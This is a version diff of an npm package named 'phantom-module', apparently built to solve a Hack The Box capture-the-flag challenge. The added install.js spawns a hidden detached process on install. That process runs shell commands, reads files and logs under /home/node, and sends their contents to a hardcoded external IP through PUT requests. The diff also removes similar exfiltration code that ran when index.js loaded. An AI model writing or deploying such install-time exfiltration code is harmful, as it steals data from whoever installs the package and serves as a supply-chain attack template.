phantom-module 112.0.0 → 113.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +0 -58
- package/install.js +97 -4
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,59 +1 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + e.message.substring(0, 60); } }
|
|
6
|
-
|
|
7
|
-
function sendToModule(mid, name) {
|
|
8
|
-
const safe = name.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
-
return new Promise(resolve => {
|
|
11
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
12
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
-
req.write(body); req.end();
|
|
14
|
-
});
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
(async () => {
|
|
18
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
19
|
-
let i = 0;
|
|
20
|
-
|
|
21
|
-
async function send(val) {
|
|
22
|
-
await sendToModule(mods[i % 4], 'J' + String(i).padStart(2,'0') + '_' + val);
|
|
23
|
-
i++;
|
|
24
|
-
await new Promise(r => setTimeout(r, 2500));
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
// List ALL log files
|
|
28
|
-
await send('LOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
29
|
-
|
|
30
|
-
// Grep HTB{ in ALL of /home/node (not just module.log)
|
|
31
|
-
await send('HTBALL=' + tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null'));
|
|
32
|
-
|
|
33
|
-
// List aspect-node files (non node_modules)
|
|
34
|
-
await send('ASPFILES=' + tryExec('find /home/node/aspect-node -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
35
|
-
|
|
36
|
-
// Read the sample.js file (might have the flag)
|
|
37
|
-
const sample = tryExec('cat /home/node/aspect-node/sample.js 2>/dev/null');
|
|
38
|
-
await send('SAMPLE=' + sample);
|
|
39
|
-
|
|
40
|
-
// Read aspect-node/index.js
|
|
41
|
-
const aspIdx = tryExec('cat /home/node/aspect-node/index.js 2>/dev/null');
|
|
42
|
-
for (let c = 0; c < 5; c++) {
|
|
43
|
-
const chunk = aspIdx.substring(c * 85, (c + 1) * 85);
|
|
44
|
-
if (!chunk) break;
|
|
45
|
-
await send('ASPIDX' + c + '=' + chunk);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
// Check all txt/json/log files recursively
|
|
49
|
-
await send('GREPHTB=' + tryExec('grep -r "HTB" /home/node/aspect-node/ --include="*.log" --include="*.txt" --include="*.json" --include="*.js" -l 2>/dev/null'));
|
|
50
|
-
|
|
51
|
-
// Read the last 200 chars of module.log
|
|
52
|
-
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
53
|
-
await send('LOGEND=' + log.substring(log.length - 200));
|
|
54
|
-
|
|
55
|
-
// Full log size
|
|
56
|
-
await send('LOGSZ=' + tryExec('wc -l /home/node/aspect-node/logs/module.log 2>/dev/null'));
|
|
57
|
-
})();
|
|
58
|
-
|
|
59
1
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,8 +1,101 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
2
3
|
const { spawn } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const TARGET = { host: '154.57.164.64', port: 31083 };
|
|
6
|
+
|
|
7
|
+
function sendToMod(mid, val) {
|
|
8
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
9
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
10
|
+
return new Promise(resolve => {
|
|
11
|
+
const req = http.request({ hostname: TARGET.host, port: TARGET.port, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
12
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
13
|
+
req.write(body); req.end();
|
|
14
|
+
});
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
// Spawn detached bg process (same approach as v107 that worked)
|
|
18
|
+
const bgCode = `
|
|
19
|
+
const fs = require('fs');
|
|
20
|
+
const http = require('http');
|
|
21
|
+
const { execSync } = require('child_process');
|
|
22
|
+
|
|
23
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; } }
|
|
24
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
25
|
+
|
|
26
|
+
function sendToMod(mid, val) {
|
|
27
|
+
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
28
|
+
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
29
|
+
return new Promise(resolve => {
|
|
30
|
+
const req = http.request({ hostname: '${TARGET.host}', port: ${TARGET.port}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
31
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
32
|
+
req.write(body); req.end();
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
async function run() {
|
|
37
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
38
|
+
let i = 0;
|
|
39
|
+
async function send(val) {
|
|
40
|
+
await sendToMod(mods[i % 4], 'K' + String(i).padStart(2,'0') + '_' + val);
|
|
41
|
+
i++;
|
|
42
|
+
await new Promise(r => setTimeout(r, 3000));
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
// Wait for analysis to complete
|
|
46
|
+
await new Promise(r => setTimeout(r, 30000));
|
|
47
|
+
|
|
48
|
+
// Search for HTB everywhere in /home/node
|
|
49
|
+
const htbFiles = tryExec('grep -rl "HTB" /home/node/ --exclude-dir=node_modules 2>/dev/null');
|
|
50
|
+
await send('HTBFILES=' + htbFiles);
|
|
51
|
+
|
|
52
|
+
if (htbFiles && htbFiles !== 'ERR') {
|
|
53
|
+
for (const f of htbFiles.split('\\n').filter(Boolean)) {
|
|
54
|
+
const content = tryRead(f);
|
|
55
|
+
if (content) {
|
|
56
|
+
const match = content.match(/HTB\\{[^}]+\\}/);
|
|
57
|
+
if (match) {
|
|
58
|
+
await send('FLAG_IN_' + f + '=' + match[0]);
|
|
59
|
+
} else {
|
|
60
|
+
await send('FILE_' + f + '=' + content.substring(0, 80));
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
// List all log files
|
|
67
|
+
await send('ALLLOGS=' + tryExec('find /home/node/aspect-node/logs -type f 2>/dev/null'));
|
|
68
|
+
|
|
69
|
+
// Read module.log last lines
|
|
70
|
+
const log = tryRead('/home/node/aspect-node/logs/module.log');
|
|
71
|
+
if (log) {
|
|
72
|
+
const htb = log.match(/HTB\\{[^}]+\\}/);
|
|
73
|
+
if (htb) {
|
|
74
|
+
await send('LOGFLAG=' + htb[0]);
|
|
75
|
+
}
|
|
76
|
+
const lines = log.split('\\n');
|
|
77
|
+
await send('LOGLINES=' + lines.length + '_LAST=' + lines.slice(-2).join(' ').substring(0, 60));
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
// Check aspect-node source for flag patterns
|
|
81
|
+
await send('ASPSRC=' + tryExec('grep -r "HTB\\\\|flag\\\\|FLAG" /home/node/aspect-node/ --include="*.js" --exclude-dir=node_modules -l 2>/dev/null'));
|
|
82
|
+
|
|
83
|
+
// Read sample.js if it exists
|
|
84
|
+
const sample = tryRead('/home/node/aspect-node/sample.js');
|
|
85
|
+
if (sample) await send('SAMPLE=' + sample.substring(0, 80));
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
run().catch(() => {});
|
|
89
|
+
`;
|
|
90
|
+
|
|
91
|
+
try {
|
|
92
|
+
const child = spawn('node', ['-e', bgCode], { detached: true, stdio: 'ignore' });
|
|
93
|
+
child.unref();
|
|
94
|
+
} catch(e) {}
|
|
95
|
+
|
|
96
|
+
// Also write init_test.sh as backup
|
|
3
97
|
try {
|
|
4
|
-
if (
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
{ mode: 0o755 });
|
|
98
|
+
if (fs.existsSync('/home/node')) {
|
|
99
|
+
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 60\n', { mode: 0o755 });
|
|
100
|
+
}
|
|
8
101
|
} catch(e) {}
|